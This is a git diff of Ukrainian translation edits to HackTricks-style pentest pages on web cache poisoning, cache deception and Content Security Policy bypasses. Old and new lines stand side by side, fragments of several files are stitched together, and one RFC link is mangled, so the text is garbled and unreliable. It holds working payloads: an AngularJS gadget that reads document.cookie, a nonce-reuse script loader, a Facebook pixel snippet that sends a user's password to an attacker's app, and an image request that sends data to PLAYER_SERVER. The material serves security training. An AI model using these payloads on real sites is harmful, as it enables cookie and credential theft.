### Впровадження параметризованих параметрів ### Вставка ключових параметрів
Кеші часто включають специфічні GET параметри в ключ кешу. Наприклад, Varnish від Fastly кешував параметр `size` у запитах. Однак, якщо URL-кодована версія параметра (наприклад, `siz%65`) також була надіслана з помилковим значенням, ключ кешу буде сформований, використовуючи правильний параметр `size`. Проте бекенд обробляв значення в URL-кодованому параметрі. URL-кодування другого параметра `size` призвело до його пропуску кешем, але його використанням бекендом. Призначення значення 0 цьому параметру призвело до кешованої помилки 400 Bad Request. Кеші часто включають специфічні GET параметри в ключ кешу. Наприклад, Varnish від Fastly кешував параметр `size` у запитах. Однак, якщо URL-кодована версія параметра (наприклад, `siz%65`) також була надіслана з помилковим значенням, ключ кешу буде сформований, використовуючи правильний параметр `size`. Проте бекенд обробляв значення в URL-кодованому параметрі. URL-кодування другого параметра `size` призвело до його пропуску кешем, але його використання бекендом. Призначення значення 0 для цього параметра призвело до кешованої помилки 400 Bad Request.
### Правила User Agent ### Правила User Agent
@ -184,15 +184,15 @@ Cloudflare раніше кешував 403 відповіді. Спроба до
### Неправильні поля заголовків ### Неправильні поля заголовків
[**RFC7230**](https://datatracker.ietf.mrg/doc/html/rfc7230) визначає прийнятні символи в іменах заголовків. Заголовки, що містять символи поза вказаним діапазоном **tchar**, повинні ідеально викликати відповідь 400 Bad Request. На практиці сервери не завжди дотримуються цього стандарту. Яскравим прикладом є Akamai, який пересилає заголовки з недійсними символами і кешує будь-яку помилку 400, якщо заголовок `cache-control` не присутній. Було виявлено експлуатовану схему, де надсилання заголовка з недійсним символом, таким як `\`, призводило до кешованої помилки 400 Bad Request. [**RFC7230**](https://datatracker.ietf.mrg/doc/html/rfc7230) визначає прийнятні символи в іменах заголовків. Заголовки, що містять символи поза вказаним діапазоном **tchar**, повинні ідеально викликати відповідь 400 Bad Request. На практиці сервери не завжди дотримуються цього стандарту. Яскравим прикладом є Akamai, який пересилає заголовки з недійсними символами і кешує будь-яку помилку 400, якщо заголовок `cache-control` відсутній. Було виявлено експлуатовану схему, де надсилання заголовка з недійсним символом, таким як `\`, призводило до кешованої помилки 400 Bad Request.
### Знаходження нових заголовків ### Знаходження нових заголовків
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6) [https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
## Cache Deception ## Отруєння кешу
Мета Cache Deception полягає в тому, щоб змусити клієнтів **завантажувати ресурси, які будуть збережені кешем з їх чутливою інформацією**. Мета отруєння кешу полягає в тому, щоб змусити клієнтів **завантажувати ресурси, які будуть збережені кешем з їх чутливою інформацією**.
Перш за все, зверніть увагу, що **розширення**, такі як `.css`, `.js`, `.png` тощо, зазвичай **налаштовуються** на **збереження** в **кеші**. Тому, якщо ви отримуєте доступ до `www.example.com/profile.php/nonexistent.js`, кеш, ймовірно, зберігатиме відповідь, оскільки бачить розширення `.js`. Але, якщо **додаток** **відповідає** з **чутливими** даними користувача, збереженими в _www.example.com/profile.php_, ви можете **вкрасти** ці дані у інших користувачів. Перш за все, зверніть увагу, що **розширення**, такі як `.css`, `.js`, `.png` тощо, зазвичай **налаштовуються** на **збереження** в **кеші**. Тому, якщо ви отримуєте доступ до `www.example.com/profile.php/nonexistent.js`, кеш, ймовірно, зберігатиме відповідь, оскільки бачить розширення `.js`. Але, якщо **додаток** **відповідає** з **чутливими** даними користувача, збереженими в _www.example.com/profile.php_, ви можете **вкрасти** ці дані у інших користувачів.
@ -206,16 +206,16 @@ Cloudflare раніше кешував 403 відповіді. Спроба до
- _Використовуйте менш відомі розширення, такі як_ `.avif` - _Використовуйте менш відомі розширення, такі як_ `.avif`
Ще один дуже чіткий приклад можна знайти в цьому звіті: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ Ще один дуже чіткий приклад можна знайти в цьому звіті: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
У прикладі пояснюється, що якщо ви завантажите неіснуючу сторінку, таку як _http://www.example.com/home.php/non-existent.css_, вміст _http://www.example.com/home.php_ (**з чутливою інформацією користувача**) буде повернуто, і сервер кешу збереже результат.\ У прикладі пояснюється, що якщо ви завантажите неіснуючу сторінку, таку як _http://www.example.com/home.php/non-existent.css_, вміст _http://www.example.com/home.php_ (**з чутливою інформацією користувача**) буде повернуто, і сервер кешу збережеться результат.\
Тоді **зловмисник** може отримати доступ до _http://www.example.com/home.php/non-existent.css_ у своєму браузері та спостерігати за **конфіденційною інформацією** користувачів, які отримували доступ раніше. Тоді **зловмисник** може отримати доступ до _http://www.example.com/home.php/non-existent.css_ у своєму браузері та спостерігати за **конфіденційною інформацією** користувачів, які отримали доступ раніше.
Зверніть увагу, що **кеш-проксі** повинні бути **налаштовані** на **кешування** файлів **на основі** **розширення** файлу (_.css_) і не на основі content-type. У прикладі _http://www.example.com/home.php/non-existent.css_ буде мати `text/html` content-type замість `text/css` mime type (що очікується для _.css_ файлу). Зверніть увагу, що **кеш-проксі** повинні бути **налаштовані** на **кешування** файлів **на основі** **розширення** файлу (_.css_) і не на основі content-type. У прикладі _http://www.example.com/home.php/non-existent.css_ буде мати `text/html` content-type замість `text/css` mime type (який очікується для _.css_ файлу).
Дізнайтеся тут, як виконати [Cache Deceptions атаки, зловживаючи HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception). Дізнайтеся тут, як виконати [Cache Deceptions атаки, зловживаючи HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception).
## Автоматичні інструменти ## Автоматичні інструменти
- [**toxicache**](https://github.com/xhzeem/toxicache): сканер на Golang для виявлення вразливостей до web cache poisoning у списку URL-адрес і тестування кількох технік впровадження. - [**toxicache**](https://github.com/xhzeem/toxicache): сканер на Golang для виявлення вразливостей отруєння веб-кешу в списку URL-адрес і тестування кількох технік ін'єкцій.
## Посилання ## Посилання

View File

@ -3,7 +3,7 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
> [!CAUTION] > [!CAUTION]
> На цій сторінці ви можете знайти різні варіації, щоб спробувати змусити **веб-сервер відповідати з помилками** на запити, які є **допустимими для кеш-серверів** > На цій сторінці ви можете знайти різні варіації, щоб змусити **веб-сервер відповідати з помилками** на запити, які є **допустимими для кеш-серверів**
- **HTTP Header Oversize (HHO)** - **HTTP Header Oversize (HHO)**
@ -31,7 +31,7 @@ Content-Type: HelloWorld
``` ```
- **Unkeyed header** - **Unkeyed header**
Деякі веб-сайти повернуть код статусу помилки, якщо вони **бачать деякі специфічні заголовки** в запиті, такі як заголовок _X-Amz-Website-Location-Redirect: someThing_: Деякі веб-сайти повернуть код статусу помилки, якщо вони **побачать деякі специфічні заголовки** в запиті, як-от заголовок _X-Amz-Website-Location-Redirect: someThing_:
``` ```
GET /app.js HTTP/2 GET /app.js HTTP/2
Host: redacted.com Host: redacted.com
@ -50,7 +50,7 @@ GET /blogs HTTP/1.1
Host: redacted.com Host: redacted.com
HTTP-Method-Override: POST HTTP-Method-Override: POST
``` ```
- **Безключовий порт** - **Unkeyed Port**
Якщо порт у заголовку Host відображається у відповіді і не включений у ключ кешу, можливо перенаправити його на невикористовуваний порт: Якщо порт у заголовку Host відображається у відповіді і не включений у ключ кешу, можливо перенаправити його на невикористовуваний порт:
``` ```
@ -92,7 +92,7 @@ Not Found
``` ```
- **Нормалізація шляху** - **Нормалізація шляху**
Деякі сторінки повернуть коди помилок, відправляючи дані URLencode у шляху, однак сервер кешу URLdecode шлях і зберігає відповідь для URLdecoded шляху: Деякі сторінки повернуть коди помилок, відправляючи дані URLencode у шляху, однак сервер кешу URLdecode шляху та зберігає відповідь для URLdecoded шляху:
``` ```
GET /api/v1%2e1/user HTTP/1.1 GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com Host: redacted.com

View File

@ -44,9 +44,9 @@
- **Розширення**: Cloudflare завжди кешує файли з наступними розширеннями: 7z, csv, gif, midi, png, tif, zip, avi, doc, gz, mkv, ppt, tiff, zst, avif, docx, ico, mp3, pptx, ttf, apk, dmg, iso, mp4, ps, webm, bin, ejs, jar, ogg, rar, webp, bmp, eot, jpg, otf, svg, woff, bz2, eps, jpeg, pdf, svgz, woff2, class, exe, js, pict, swf, xls, css, flac, mid, pls, tar, xlsx - **Розширення**: Cloudflare завжди кешує файли з наступними розширеннями: 7z, csv, gif, midi, png, tif, zip, avi, doc, gz, mkv, ppt, tiff, zst, avif, docx, ico, mp3, pptx, ttf, apk, dmg, iso, mp4, ps, webm, bin, ejs, jar, ogg, rar, webp, bmp, eot, jpg, otf, svg, woff, bz2, eps, jpeg, pdf, svgz, woff2, class, exe, js, pict, swf, xls, css, flac, mid, pls, tar, xlsx
- Можливо примусити кеш зберігати динамічну відповідь, використовуючи роздільник і статичне розширення, наприклад, запит до `/home$image.png` кешує `/home$image.png`, а сервер походження відповідає `/home` - Можливо примусити кеш зберігати динамічну відповідь, використовуючи роздільник і статичне розширення, наприклад, запит до `/home$image.png` кешує `/home$image.png`, а сервер походження відповідає `/home`
- **Відомі статичні каталоги**: Наступні каталоги містять статичні файли, тому їх відповідь повинна бути кешована: /static, /assets, /wp-content, /media, /templates, /public, /shared - **Відомі статичні директорії**: Наступні директорії містять статичні файли, тому їх відповідь повинна бути кешована: /static, /assets, /wp-content, /media, /templates, /public, /shared
- Можливо примусити кеш зберігати динамічну відповідь, використовуючи роздільник, статичний каталог і крапки, наприклад: `/home/..%2fstatic/something` кешує `/static/something`, а відповідь буде `/home` - Можливо примусити кеш зберігати динамічну відповідь, використовуючи роздільник, статичну директорію та крапки, наприклад: `/home/..%2fstatic/something` кешує `/static/something`, а відповідь буде `/home`
- **Статичні каталоги + крапки**: Запит до `/static/..%2Fhome` або до `/static/..%5Chome` може бути кешований як є, але відповідь може бути `/home` - **Статичні директорії + крапки**: Запит до `/static/..%2Fhome` або до `/static/..%5Chome` може бути кешований як є, але відповідь може бути `/home`
- **Статичні файли:** Деякі специфічні файли завжди кешуються, такі як `/robots.txt`, `/favicon.ico` та `/index.html`. Це може бути зловжито, наприклад, `/home/..%2Frobots.txt`, де кеш може зберігати `/robots.txt`, а сервер походження відповідає на `/home`. - **Статичні файли:** Деякі специфічні файли завжди кешуються, такі як `/robots.txt`, `/favicon.ico` та `/index.html`. Це може бути зловжито, наприклад, `/home/..%2Frobots.txt`, де кеш може зберігати `/robots.txt`, а сервер походження відповідає на `/home`.
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -40,7 +40,7 @@ object-src 'none';
### Директиви ### Директиви
- **script-src**: Дозволяє конкретні джерела для JavaScript, включаючи URL, вбудовані скрипти та скрипти, що викликаються обробниками подій або XSLT стилями. - **script-src**: Дозволяє конкретні джерела для JavaScript, включаючи URL, вбудовані скрипти та скрипти, що викликаються обробниками подій або XSLT стилями.
- **default-src**: Встановлює стандартну політику для отримання ресурсів, коли конкретні директиви отримання відсутні. - **default-src**: Встановлює політику за замовчуванням для отримання ресурсів, коли конкретні директиви отримання відсутні.
- **child-src**: Вказує дозволені ресурси для веб-робітників та вбудованого вмісту фреймів. - **child-src**: Вказує дозволені ресурси для веб-робітників та вбудованого вмісту фреймів.
- **connect-src**: Обмежує URL, які можуть бути завантажені за допомогою інтерфейсів, таких як fetch, WebSocket, XMLHttpRequest. - **connect-src**: Обмежує URL, які можуть бути завантажені за допомогою інтерфейсів, таких як fetch, WebSocket, XMLHttpRequest.
- **frame-src**: Обмежує URL для фреймів. - **frame-src**: Обмежує URL для фреймів.
@ -69,8 +69,8 @@ object-src 'none';
- `'unsafe-eval'`: Дозволяє використання `eval()` та подібних методів, не рекомендується з міркувань безпеки. - `'unsafe-eval'`: Дозволяє використання `eval()` та подібних методів, не рекомендується з міркувань безпеки.
- `'unsafe-hashes'`: Дозволяє конкретні вбудовані обробники подій. - `'unsafe-hashes'`: Дозволяє конкретні вбудовані обробники подій.
- `'unsafe-inline'`: Дозволяє використання вбудованих ресурсів, таких як вбудовані `<script>` або `<style>`, не рекомендується з міркувань безпеки. - `'unsafe-inline'`: Дозволяє використання вбудованих ресурсів, таких як вбудовані `<script>` або `<style>`, не рекомендується з міркувань безпеки.
- `'nonce'`: Білий список для конкретних вбудованих скриптів, що використовують криптографічний nonce (число, що використовується один раз). - `'nonce'`: Список дозволених для конкретних вбудованих скриптів, що використовують криптографічний nonce (число, що використовується один раз).
- Якщо у вас обмежене виконання JS, можливо отримати використаний nonce всередині сторінки за допомогою `doc.defaultView.top.document.querySelector("[nonce]")` і потім повторно використовувати його для завантаження шкідливого скрипта (якщо використовується strict-dynamic, будь-яке дозволене джерело може завантажити нові джерела, тому це не потрібно), як у: - Якщо у вас обмежене виконання JS, можливо отримати використаний nonce всередині сторінки за допомогою `doc.defaultView.top.document.querySelector("[nonce]")` і потім повторно використовувати його для завантаження шкідливого скрипту (якщо використовується strict-dynamic, будь-яке дозволене джерело може завантажити нові джерела, тому це не потрібно), як у:
<details> <details>
@ -89,7 +89,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
</details> </details>
- `'sha256-<hash>'`: Дозволяє скрипти з конкретним sha256 хешем. - `'sha256-<hash>'`: Дозволяє скрипти з конкретним sha256 хешем.
- `'strict-dynamic'`: Дозволяє завантаження скриптів з будь-якого джерела, якщо воно було внесено до білого списку за допомогою nonce або хешу. - `'strict-dynamic'`: Дозволяє завантаження скриптів з будь-якого джерела, якщо воно було дозволено за допомогою nonce або хешу.
- `'host'`: Вказує конкретний хост, наприклад, `example.com`. - `'host'`: Вказує конкретний хост, наприклад, `example.com`.
- `https:`: Обмежує URL-адреси тими, що використовують HTTPS. - `https:`: Обмежує URL-адреси тими, що використовують HTTPS.
- `blob:`: Дозволяє завантаження ресурсів з Blob URL (наприклад, Blob URL, створених за допомогою JavaScript). - `blob:`: Дозволяє завантаження ресурсів з Blob URL (наприклад, Blob URL, створених за допомогою JavaScript).
@ -126,7 +126,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-eval';
``` ```
### strict-dynamic ### strict-dynamic
Якщо ви зможете якимось чином змусити **дозволений JS код створити новий тег скрипта** в DOM з вашим JS кодом, оскільки дозволений скрипт його створює, **новий тег скрипта буде дозволено виконати**. Якщо ви зможете якимось чином змусити **дозволений JS код створити новий тег скрипта** в DOM з вашим JS кодом, оскільки його створює дозволений скрипт, **новий тег скрипта буде дозволено виконати**.
### Wildcard (\*) ### Wildcard (\*)
```yaml ```yaml
@ -161,7 +161,7 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
``` ```
Однак, ймовірно, що сервер **перевіряє завантажений файл** і дозволить вам **завантажувати лише певні типи файлів**. Однак, ймовірно, що сервер **перевіряє завантажений файл** і дозволить вам **завантажувати лише певні типи файлів**.
Більше того, навіть якщо ви зможете завантажити **JS код всередині** файлу з розширенням, прийнятим сервером (наприклад: _script.png_), цього буде недостатньо, оскільки деякі сервери, такі як apache server, **вибирають MIME тип файлу на основі розширення**, а браузери, такі як Chrome, **відмовляться виконувати Javascript** код всередині того, що повинно бути зображенням. "Сподіваємось", є помилки. Наприклад, з CTF я дізнався, що **Apache не знає** про _**.wave**_ розширення, тому не обслуговує його з **MIME типом, як audio/\***. Більше того, навіть якщо ви зможете завантажити **JS код всередині** файлу з розширенням, яке приймає сервер (наприклад: _script.png_), цього буде недостатньо, оскільки деякі сервери, такі як apache server, **вибирають MIME тип файлу на основі розширення**, а браузери, такі як Chrome, **відмовляться виконувати Javascript** код всередині того, що повинно бути зображенням. "Сподіваємось", є помилки. Наприклад, з CTF я дізнався, що **Apache не знає** про _**.wave**_ розширення, тому не подає його з **MIME типом, як audio/\***.
Звідси, якщо ви знайдете XSS і завантаження файлів, і вам вдасться знайти **неправильно інтерпретоване розширення**, ви можете спробувати завантажити файл з цим розширенням і вмістом скрипта. Або, якщо сервер перевіряє правильний формат завантаженого файлу, створіть поліглот ([деякі приклади поліглотів тут](https://github.com/Polydet/polyglot-database)). Звідси, якщо ви знайдете XSS і завантаження файлів, і вам вдасться знайти **неправильно інтерпретоване розширення**, ви можете спробувати завантажити файл з цим розширенням і вмістом скрипта. Або, якщо сервер перевіряє правильний формат завантаженого файлу, створіть поліглот ([деякі приклади поліглотів тут](https://github.com/Polydet/polyglot-database)).
@ -319,17 +319,17 @@ Content-Security-Policy: connect-src www.facebook.com;
2. Створіть новий додаток "Facebook Login" і виберіть "Веб-сайт". 2. Створіть новий додаток "Facebook Login" і виберіть "Веб-сайт".
3. Перейдіть до "Налаштування -> Основні" і отримайте свій "App ID". 3. Перейдіть до "Налаштування -> Основні" і отримайте свій "App ID".
4. На цільовому сайті, з якого ви хочете ексфільтрувати дані, ви можете ексфільтрувати дані, безпосередньо використовуючи гаджет Facebook SDK "fbq" через "customEvent" і навантаження даних. 4. На цільовому сайті, з якого ви хочете ексфільтрувати дані, ви можете ексфільтрувати дані, безпосередньо використовуючи гаджет Facebook SDK "fbq" через "customEvent" і навантаження даних.
5. Перейдіть до "Event Manager" вашого додатка і виберіть створений вами додаток (зауважте, що менеджер подій можна знайти за URL, подібним до цього: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events). 5. Перейдіть до "Event Manager" вашого додатку і виберіть створений вами додаток (зауважте, що менеджер подій можна знайти за URL, подібним до цього: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. Виберіть вкладку "Test Events", щоб побачити події, які надсилаються з "вашого" веб-сайту. 6. Виберіть вкладку "Test Events", щоб побачити події, які надсилаються з "вашого" веб-сайту.
Потім, на стороні жертви, ви виконуєте наступний код, щоб ініціалізувати піксель відстеження Facebook, вказуючи на app-id облікового запису розробника Facebook атакуючого та видаючи таку кастомну подію: Потім, на стороні жертви, ви виконуєте наступний код, щоб ініціалізувати піксель відстеження Facebook, вказуючи на app-id облікового запису розробника Facebook атакуючого та видаючи користувацьку подію, як ця:
```JavaScript ```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{ fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'" data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
}); });
``` ```
Щодо інших семи доменів третьої сторони, зазначених у попередній таблиці, існує багато інших способів їх зловживання. Зверніться до попереднього [блог посту](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) для додаткових пояснень про інші зловживання третьою стороною. Щодо інших семи сторонніх доменів, зазначених у попередній таблиці, існує багато інших способів їх зловживання. Зверніться до попереднього [блог посту](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) для додаткових пояснень про інші зловживання сторонніми ресурсами.
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a> ### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
@ -370,12 +370,12 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
Специфічна політика, відома як Content Security Policy (CSP), може обмежувати JavaScript події. Проте, AngularJS вводить користувацькі події як альтернативу. У межах події AngularJS надає унікальний об'єкт `$event`, що посилається на об'єкт події рідного браузера. Цей об'єкт `$event` може бути використаний для обходу CSP. Зокрема, у Chrome об'єкт `$event/event` має атрибут `path`, що містить масив об'єктів, залучених у ланцюг виконання події, причому об'єкт `window` завжди розташований в кінці. Ця структура є вирішальною для тактик втечі з пісочниці. Специфічна політика, відома як Content Security Policy (CSP), може обмежувати JavaScript події. Проте, AngularJS вводить користувацькі події як альтернативу. У межах події AngularJS надає унікальний об'єкт `$event`, що посилається на об'єкт події рідного браузера. Цей об'єкт `$event` може бути використаний для обходу CSP. Зокрема, у Chrome об'єкт `$event/event` має атрибут `path`, що містить масив об'єктів, залучених у ланцюг виконання події, причому об'єкт `window` завжди розташований в кінці. Ця структура є вирішальною для тактик втечі з пісочниці.
Спрямовуючи цей масив до фільтра `orderBy`, можна ітерувати його, використовуючи термінальний елемент (об'єкт `window`), щоб викликати глобальну функцію, таку як `alert()`. Наведений нижче фрагмент коду прояснює цей процес: Спрямовуючи цей масив до фільтра `orderBy`, можна ітерувати його, використовуючи термінальний елемент (об'єкт `window`), щоб викликати глобальну функцію, таку як `alert()`. Наведений нижче фрагмент коду ілюструє цей процес:
```xml ```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x <input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x ?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
``` ```
Цей фрагмент підкреслює використання директиви `ng-focus` для виклику події, використовуючи `$event.path|orderBy` для маніпуляції масивом `path`, і використовуючи об'єкт `window` для виконання функції `alert()`, тим самим розкриваючи `document.cookie`. Цей фрагмент підкреслює використання директиви `ng-focus` для виклику події, використовуючи `$event.path|orderBy` для маніпуляції масивом `path`, і використовуючи об'єкт `window` для виконання функції `alert()`, таким чином розкриваючи `document.cookie`.
**Знайдіть інші обходи Angular у** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) **Знайдіть інші обходи Angular у** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
@ -395,11 +395,11 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
``` ```
Інші кінцеві точки для довільного виконання JSONP можна знайти [**тут**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (деякі з них були видалені або виправлені) Інші кінцеві точки для довільного виконання JSONP можна знайти [**тут**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (деякі з них були видалені або виправлені)
### Обхід через перенаправлення ### Обхід через редирект
Що відбувається, коли CSP стикається з перенаправленням на стороні сервера? Якщо перенаправлення веде до іншого походження, яке не дозволено, воно все ще зазнає невдачі. Що відбувається, коли CSP стикається з редиректом на стороні сервера? Якщо редирект веде до іншого походження, яке не дозволено, він все ще зазнає невдачі.
Однак, відповідно до опису в [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), якщо перенаправлення веде до іншого шляху, воно може обійти початкові обмеження. Однак, відповідно до опису в [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), якщо редирект веде до іншого шляху, він може обійти початкові обмеження.
Ось приклад: Ось приклад:
```html ```html
@ -444,19 +444,17 @@ fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%2
Image().src='http://PLAYER_SERVER/?'+_) Image().src='http://PLAYER_SERVER/?'+_)
</script> </script>
``` ```
З: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
Ви також можете зловживати цією конфігурацією, щоб **завантажити код javascript, вставлений всередині зображення**. Якщо, наприклад, сторінка дозволяє завантаження зображень з Twitter. Ви могли б **створити** **спеціальне зображення**, **завантажити** його в Twitter і зловживати "**unsafe-inline**", щоб **виконати** код JS (як звичайний XSS), який **завантажить** **зображення**, **витягне** **JS** з нього і **виконає** **його**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/) Ви також можете зловживати цією конфігурацією, щоб **завантажити код javascript, вставлений всередині зображення**. Якщо, наприклад, сторінка дозволяє завантаження зображень з Twitter. Ви могли б **створити** **спеціальне зображення**, **завантажити** його в Twitter і зловживати "**unsafe-inline**", щоб **виконати** код JS (як звичайний XSS), який **завантажить** **зображення**, **витягне** **JS** з нього і **виконає** **його**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### З сервісними працівниками ### З сервісними працівниками
Функція сервісних працівників **`importScripts`** не обмежена CSP: Функція **`importScripts`** сервісних працівників не обмежена CSP:
{{#ref}} {{#ref}}
../xss-cross-site-scripting/abusing-service-workers.md ../xss-cross-site-scripting/abusing-service-workers.md
{{#endref}} {{#endref}}
### Ін'єкція політики ### Впровадження політики
**Дослідження:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection) **Дослідження:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
@ -542,13 +540,13 @@ run()
``` ```
### Via Bookmarklets ### Via Bookmarklets
Ця атака передбачає певну соціальну інженерію, де атакуючий **переконує користувача перетягнути та скинути посилання на закладку браузера**. Ця закладка міститиме **шкідливий javascript** код, який, коли його перетягнуть або натиснуть, буде виконано в контексті поточного веб-вікна, **обходячи CSP і дозволяючи вкрасти чутливу інформацію** таку як куки або токени. Ця атака передбачає певну соціальну інженерію, де атакуючий **переконує користувача перетягнути та скинути посилання на закладку браузера**. Ця закладка міститиме **шкідливий javascript** код, який, коли його перетягнуть або натиснуть, буде виконано в контексті поточного веб-вікна, **обминаючи CSP і дозволяючи вкрасти чутливу інформацію** таку як куки або токени.
Для отримання додаткової інформації [**перевірте оригінальний звіт тут**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). Для отримання додаткової інформації [**перевірте оригінальний звіт тут**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
### CSP bypass by restricting CSP ### CSP bypass by restricting CSP
У [**цьому CTF звіті**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution) CSP обходиться шляхом інжекції всередину дозволеного iframe більш обмежувального CSP, який забороняє завантаження конкретного JS файлу, що, в свою чергу, через **прототипне забруднення** або **dom clobbering** дозволяє **зловживати іншим скриптом для завантаження довільного скрипту**. У [**цьому CTF звіті**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution) CSP обминається шляхом інжекції всередину дозволеного iframe більш обмежувального CSP, який забороняє завантаження конкретного JS файлу, що, в свою чергу, через **прототипне забруднення** або **dom clobbering** дозволяє **зловживати іншим скриптом для завантаження довільного скрипту**.
Ви можете **обмежити CSP iframe** за допомогою атрибута **`csp`**: Ви можете **обмежити CSP iframe** за допомогою атрибута **`csp`**:
```html ```html
@ -557,7 +555,7 @@ src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe> csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
``` ```
У [**цьому CTF звіті**](https://github.com/aszx87410/ctf-writeups/issues/48) було можливим через **впровадження HTML** **обмежити** **CSP** так, що скрипт, що запобігає CSTI, був вимкнений, і, отже, **вразливість стала експлуатованою.**\ У [**цьому CTF звіті**](https://github.com/aszx87410/ctf-writeups/issues/48) було можливим через **впровадження HTML** **обмежити** **CSP** так, що скрипт, що запобігає CSTI, був вимкнений, і, отже, **вразливість стала експлуатованою.**\
CSP можна зробити більш обмежувальним, використовуючи **HTML мета-теги**, а вбудовані скрипти можна вимкнути **видаленням** **входу**, що дозволяє їх **nonce** та **включенням конкретного вбудованого скрипту через sha**: CSP можна зробити більш обмежувальним, використовуючи **HTML мета-теги**, а вбудовані скрипти можна вимкнути **видаленням** **входу**, що дозволяє їх **nonce** та **включити конкретний вбудований скрипт через sha**:
```html ```html
<meta <meta
http-equiv="Content-Security-Policy" http-equiv="Content-Security-Policy"
@ -585,7 +583,7 @@ document.querySelector("DIV").innerHTML =
Цікаво відзначити, що браузери, такі як Chrome та Firefox, мають різну поведінку в обробці iframe стосовно CSP, що може призвести до потенційного витоку чутливої інформації через невизначену поведінку. Цікаво відзначити, що браузери, такі як Chrome та Firefox, мають різну поведінку в обробці iframe стосовно CSP, що може призвести до потенційного витоку чутливої інформації через невизначену поведінку.
Інша техніка полягає в експлуатації самого CSP для виведення секретного піддомену. Цей метод спирається на алгоритм бінарного пошуку та коригування CSP для включення конкретних доменів, які навмисно заблоковані. Наприклад, якщо секретний піддомен складається з невідомих символів, ви можете ітеративно тестувати різні піддомени, змінюючи директиву CSP, щоб блокувати або дозволяти ці піддомени. Ось фрагмент, що показує, як CSP може бути налаштований для полегшення цього методу: Інша техніка полягає в експлуатації самого CSP для виведення секретного піддомену. Цей метод спирається на алгоритм бінарного пошуку та коригування CSP, щоб включити конкретні домени, які навмисно заблоковані. Наприклад, якщо секретний піддомен складається з невідомих символів, ви можете ітеративно тестувати різні піддомени, змінюючи директиву CSP, щоб блокувати або дозволяти ці піддомени. Ось фрагмент, що показує, як CSP може бути налаштований для полегшення цього методу:
```markdown ```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
``` ```
